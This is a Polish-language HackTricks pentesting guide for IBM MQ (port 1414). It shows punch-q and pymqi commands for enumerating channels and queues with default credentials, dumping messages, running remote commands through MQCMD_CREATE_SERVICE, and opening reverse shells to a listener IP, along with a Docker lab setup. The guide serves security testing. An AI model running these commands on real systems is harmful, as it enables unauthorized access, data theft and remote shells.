hacktricks/network-services-pentesting/1414-pentesting-ibmmq.md
2024-02-11 01:46:25 +00:00

343 lines
19 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 1414 - Testowanie penetracyjne IBM MQ
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
## Podstawowe informacje
IBM MQ to technologia firmy IBM do zarządzania kolejkami komunikatów. Podobnie jak inne technologie **brokera komunikatów**, jest dedykowana do odbierania, przechowywania, przetwarzania i klasyfikowania informacji między producentami a konsumentami.
Domyślnie **eksponuje port TCP IBM MQ 1414**.
Czasami interfejs API HTTP REST może być dostępny na porcie **9443**.
Metryki (Prometheus) mogą być również dostępne z portu TCP **9157**.
Port TCP IBM MQ 1414 można używać do manipulowania wiadomościami, kolejkami, kanałami, ... ale **również do kontrolowania instancji**.
IBM udostępnia obszerną dokumentację techniczną dostępną na stronie [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq).
## Narzędzia
Zalecanym narzędziem do łatwego wykorzystania jest **[punch-q](https://github.com/sensepost/punch-q)**, z użyciem Dockera. Narzędzie aktywnie korzysta z biblioteki Pythona `pymqi`.
Dla bardziej manualnego podejścia, użyj biblioteki Pythona **[pymqi](https://github.com/dsuch/pymqi)**. Potrzebne są [zależności IBM MQ](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc).
### Instalowanie pymqi
Należy zainstalować i załadować **zależności IBM MQ**:
1. Utwórz konto (IBMid) na stronie [https://login.ibm.com/](https://login.ibm.com/).
2. Pobierz biblioteki IBM MQ ze strony [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Dla Linux x86_64 jest to **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**.
3. Rozpakuj (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
4. Uruchom `sudo ./mqlicense.sh`, aby zaakceptować warunki licencji.
>Jeśli używasz Kali Linux, zmodyfikuj plik `mqlicense.sh`: usuń/zakomentuj następujące linie (między liniami 105-110):
>
>```bash
>if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
> then
> echo "ERROR: This package is incompatible with this system"
> echo " This package was built for ${BUILD_PLATFORM}"
> exit 1
>fi
>```
5. Zainstaluj te pakiety:
```bash
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
```
6. Następnie tymczasowo dodaj pliki `.so` do LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **przed** uruchomieniem innych narzędzi korzystających z tych zależności.
Następnie możesz sklonować projekt [**pymqi**](https://github.com/dsuch/pymqi): zawiera interesujące fragmenty kodu, stałe, ... Lub możesz bezpośrednio zainstalować bibliotekę za pomocą: `pip install pymqi`.
### Korzystanie z punch-q
#### Z użyciem Dockera
Po prostu użyj: `sudo docker run --rm -ti leonjza/punch-q`.
#### Bez użycia Dockera
Sklonuj projekt [**punch-q**](https://github.com/sensepost/punch-q), a następnie postępuj zgodnie z instrukcjami w pliku readme dotyczącymi instalacji (`pip install -r requirements.txt && python3 setup.py install`).
Następnie można go używać za pomocą polecenia `punch-q`.
## Wyliczanie
Możesz spróbować wyliczyć **nazwę menedżera kolejek, użytkowników, kanały i kolejki** za pomocą **punch-q** lub **pymqi**.
### Menedżer kolejek
Czasami nie ma ochrony przed uzyskaniem nazwy menedżera kolejek:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
```
### Kanały
**punch-q** korzysta z wewnętrznej (modyfikowalnej) listy słów do wyszukiwania istniejących kanałów. Przykład użycia:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
```
Zdarza się, że niektóre instancje IBM MQ akceptują **nieuwierzytelnione** żądania MQ, więc nie jest wymagane użycie `--username / --password`. Oczywiście, prawa dostępu mogą się różnić.
Gdy tylko uzyskamy nazwę jednego kanału (tutaj: `DEV.ADMIN.SVRCONN`), możemy wyliczyć wszystkie inne kanały.
Wyliczenie można zasadniczo wykonać za pomocą tego fragmentu kodu `code/examples/dis_channels.py` z biblioteki **pymqi**:
```python
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
```
... Ale **punch-q** również zawiera tę część (z większą ilością informacji!).
Można go uruchomić za pomocą:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
```
### Kolejki
Istnieje fragment kodu z **pymqi** (`dis_queues.py`), ale **punch-q** pozwala na pobranie większej ilości informacji na temat kolejek:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
```
## Wykorzystanie
### Wydobywanie wiadomości
Możesz wybrać kolejki/kanały, aby przechwycić/wydobyć z nich wiadomości (operacja nieniszcząca). *Przykłady:*
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
```
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
```
**Nie wahaj się iterować po wszystkich zidentyfikowanych kolejkach.**
### Wykonanie kodu
> Kilka szczegółów przed kontynuacją: IBM MQ można kontrolować na wiele sposobów: MQSC, PCF, Control Command. Niektóre ogólne listy można znaleźć w [dokumentacji IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Programmable Command Formats***) to to, na czym się skupiamy, aby zdalnie komunikować się z instancją. **punch-q** i dalej **pymqi** opierają się na interakcjach PCF.
>
> Można znaleźć listę poleceń PCF:
> * [Z dokumentacji PCF](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), oraz
> * [z stałych](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
>
> Jednym interesującym poleceniem jest `MQCMD_CREATE_SERVICE`, a jego dokumentacja jest dostępna [tutaj](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Jako argument przyjmuje `StartCommand`, wskazujący na lokalny program na instancji (przykład: `/bin/sh`).
>
> W dokumentacji znajduje się również ostrzeżenie dotyczące tego polecenia: *"Uwaga: To polecenie umożliwia użytkownikowi uruchomienie dowolnego polecenia z uprawnieniami mqm. Jeśli użytkownikowi zostaną przyznane uprawnienia do korzystania z tego polecenia, złośliwy lub nieostrożny użytkownik może zdefiniować usługę, która uszkodzi systemy lub dane, na przykład przez usunięcie istotnych plików."*
>
> *Uwaga: zawsze zgodnie z dokumentacją IBM MQ (Administration Reference), istnieje również punkt końcowy HTTP pod adresem `/admin/action/qmgr/{qmgrName}/mqsc`, aby uruchomić równoważne polecenie MQSC dla tworzenia usługi (`DEFINE SERVICE`). Ten aspekt nie jest jeszcze tutaj omawiany.*
Tworzenie / usuwanie usługi za pomocą PCF w celu zdalnego wykonania programu można wykonać za pomocą **punch-q**:
**Przykład 1**
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
```
> W dziennikach IBM MQ można odczytać, że polecenie zostało pomyślnie wykonane:
>
> ```bash
> 2023-10-10T19:13:01.713Z AMQ5030I: Polecenie '808544aa7fc94c48' zostało uruchomione. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
> ```
Można również wyliczyć istniejące programy na maszynie (tutaj `/bin/doesnotexist` ... nie istnieje):
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
```
**Bądź świadomy, że uruchomienie programu jest asynchroniczne. Więc potrzebujesz drugiego elementu, aby wykorzystać podatność** ***(słuchacz dla odwróconej powłoki, tworzenie pliku na innym serwisie, eksfiltracja danych przez sieć...)***
**Przykład 2**
Dla łatwej odwróconej powłoki, **punch-q** proponuje również dwa payloady odwróconej powłoki:
* Jeden z bashem
* Jeden z perlem
*Oczywiście możesz zbudować własny z użyciem polecenia `execute`.*
Dla basha:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
Dla perl:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
### Niestandardowe PCF
Możesz zgłębić dokumentację IBM MQ i bezpośrednio użyć biblioteki python **pymqi**, aby przetestować konkretną komendę PCF, która nie jest zaimplementowana w **punch-q**.
**Przykład:**
```python
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
```
Jeśli nie możesz znaleźć nazw stałych, możesz odwołać się do [dokumentacji IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors).
> *Przykład dla [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (dziesiętnie = 73). Wymaga parametru `MQCA_CLUSTER_NAME` (dziesiętnie = 2029), który może być `*` (Dok: ):*
>
> ```python
> import pymqi
>
> queue_manager = 'MYQUEUEMGR'
> channel = 'DEV.ADMIN.SVRCONN'
> host = '172.17.0.2'
> port = '1414'
> conn_info = '%s(%s)' % (host, port)
> user = 'admin'
> password = 'passw0rd'
>
> qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
> pcf = pymqi.PCFExecute(qmgr)
>
> try:
> args = {2029: "*"}
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
> except pymqi.MQMIError as e:
> print("Error")
> else:
> print(response)
>
> qmgr.disconnect()
> ```
## Środowisko testowe
Jeśli chcesz przetestować zachowanie i wykorzystanie IBM MQ, możesz skonfigurować lokalne środowisko oparte na Dockerze:
1. Posiadając konto na ibm.com i cloud.ibm.com.
2. Utwórz skonteneryzowany IBM MQ za pomocą:
```bash
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
```
Domyślnie uwierzytelnianie jest włączone, nazwa użytkownika to `admin`, a hasło to `passw0rd` (zmienna środowiskowa `MQ_ADMIN_PASSWORD`).
Tutaj nazwa menedżera kolejek została ustawiona na `MYQUEUEMGR` (zmienna `MQ_QMGR_NAME`).
Powinieneś mieć uruchomiony IBM MQ z wystawionymi portami:
```bash
sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
```
> Stare wersje obrazów IBM MQ dla Docker znajdują się pod adresem: https://hub.docker.com/r/ibmcom/mq/.
## Odnośniki
* [mgeeky's gist - "Praktyczne uwagi dotyczące testowania penetracyjnego IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
* [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
* [Dokumentacja IBM MQ](https://www.ibm.com/docs/en/ibm-mq)